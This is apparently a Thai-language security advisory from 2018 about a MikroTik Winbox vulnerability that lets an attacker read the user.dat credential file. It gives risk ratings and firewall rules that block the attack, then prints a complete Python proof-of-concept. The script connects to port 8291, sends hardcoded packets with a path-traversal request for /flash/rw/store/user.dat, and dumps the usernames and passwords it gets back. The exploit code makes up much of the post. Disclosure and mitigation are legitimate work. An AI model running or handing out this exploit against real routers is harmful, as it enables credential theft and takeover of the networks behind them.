2018 – 0Day Exploit MikroTik
พูดถึง MikroTik หลายท่านคงเคยผ่านตา หลายคนคงได้ใช้งา่นทั้งใน office ในบ้าน แม้แต่ในไซต์งานลูกค้า
เนื่องจากเป็นอุปกรณ์ UTM ที่ใช้งานได้หลากหลาย มี Interface ให้ใช้ง่านได้ง่ายมากมาย และตลอดช่วงอายุของ MikroTik ตั้งแต่ผลิตมา ก็มีช่องโหว่เกิดขึ้นเพียง 4 ช่อง ซึ่งทาง MikroTik ได้ทำการ patch ไปแล้วเป็นที่เรียบร้อยใน version ล่าสุด
อย่างไรก็ตาม ทาง Hacker ได้เผย Zero Day (0Day) Vulnerability ซึ่งเป็นช่องโหว่ร้ายแรงออกมา ทำให้ Attacker สามารถโจมตีเข้าไปยัง MikroTik เป้าหมาย และอ่านค่าจาก File user.dat ที่ทำหน้าที่เก็บชื่อผู้ใช้และรหัสผ่านออกมาได้ เป็นผลให้เกิดความเสี่ยงระดับร้ายแรงต่อองกรณ์ต่างๆ ที่ใช้ MikroTik เป็น Router หลัก และคงต้องใช้เวลาอีกสักระยะกว่า MikroTik จะสามารถออก Patch เพื่อแก้ใขช่องโหว่ดังกล่าวได้
รูปแบบการโจมตีสามารถดูได้จากตัวอย่าง LAB ต่อไปนี้
2018 – 0Day Exploit MikroTik
https://www.youtube.com/watch?v=jfRiQKkED34&feature=youtu.be
จากๅ VDO จะเห็นได้ว่า Attacker ใช้เวลาเพียงไม่กี่วินาทีเพื่อทำการโจมตีเอาข้อมูลผู้ใช้ออกมาจาก Router MikroTik ที่เป็นเป้าหมาย เป็นผลให้ล่วงรู้ข้อมูลข้างในองกรณ์ทั้งหมด และยังปรับเปลี่ยนค่าต่างๆ ได้อีกด้วย
ระดับความเสี่ยง : Critical (เสี่ยงที่สุด)
ผลกระทบ : High (กระทบมาก)
การเข้าถึง : High (ง่ายมาก)
Patch / Hotfix : ยังไม่มี
Last updated : 25/07/2018
Mitigate Risk : กำหนดค่า
Firewall เพื่อป้องกันการเข้าถึง ดังนี้
MikroTik-Console#>/ip firewall filter
MikroTik-Console/ip firewall filter#>add action=reject chain=input comment=”SECURITY” content=user.dat reject-with=icmp-network-unreachable
MikroTik-Console/ip firewall filter#>add action=drop chain=input content=”user.dat”
Exploit Example :
#!/usr/bin/env python3
import socket
import sys
from extract_user import dump
a = [0x68, 0x01, 0x00, 0x66, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x05, 0x07,
0x00, 0xff, 0x09, 0x07, 0x01, 0x00, 0x00, 0x21,
0x35, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2e, 0x2f,
0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f, 0x2f,
0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x2f, 0x2f, 0x2f,
0x2f, 0x2f, 0x2e, 0x2f, 0x2e, 0x2e, 0x2f, 0x66,
0x6c, 0x61, 0x73, 0x68, 0x2f, 0x72, 0x77, 0x2f,
0x73, 0x74, 0x6f, 0x72, 0x65, 0x2f, 0x75, 0x73,
0x65, 0x72, 0x2e, 0x64, 0x61, 0x74, 0x02, 0x00,
0xff, 0x88, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00,
0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0x88,
0x02, 0x00, 0x02, 0x00, 0x00, 0x00, 0x02, 0x00,
0x00, 0x00]
b = [0x3b, 0x01, 0x00, 0x39, 0x4d, 0x32, 0x05, 0x00,
0xff, 0x01, 0x06, 0x00, 0xff, 0x09, 0x06, 0x01,
0x00, 0xfe, 0x09, 0x35, 0x02, 0x00, 0x00, 0x08,
0x00, 0x80, 0x00, 0x00, 0x07, 0x00, 0xff, 0x09,
0x04, 0x02, 0x00, 0xff, 0x88, 0x02, 0x00, 0x00,
0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01,
0x00, 0xff, 0x88, 0x02, 0x00, 0x02, 0x00, 0x00,
0x00, 0x02, 0x00, 0x00, 0x00]
if __name__ == “__main__”:
try:
ip = sys.argv[1]
except:
print(“Usage: python PoC.py [IP_ADDRESS]”)
#Initialize Socket
s = socket.socket()
s.settimeout(3)
s.connect((ip, 8291))
#Convert to bytearray for manipulation
a = bytearray(a)
b = bytearray(b)
#Send hello and recieve the sesison id
s.send(a)
d = bytearray(s.recv(1024))
#Replace the session id in template
b[19] = d[38]
#Send the edited response
s.send(b)
d = bytearray(s.recv(1024))
#Get results
print(ip)
dump(d[55:])
Credit : Isara Ruk-isara
MVP Windows Security
C|HFI ,Security+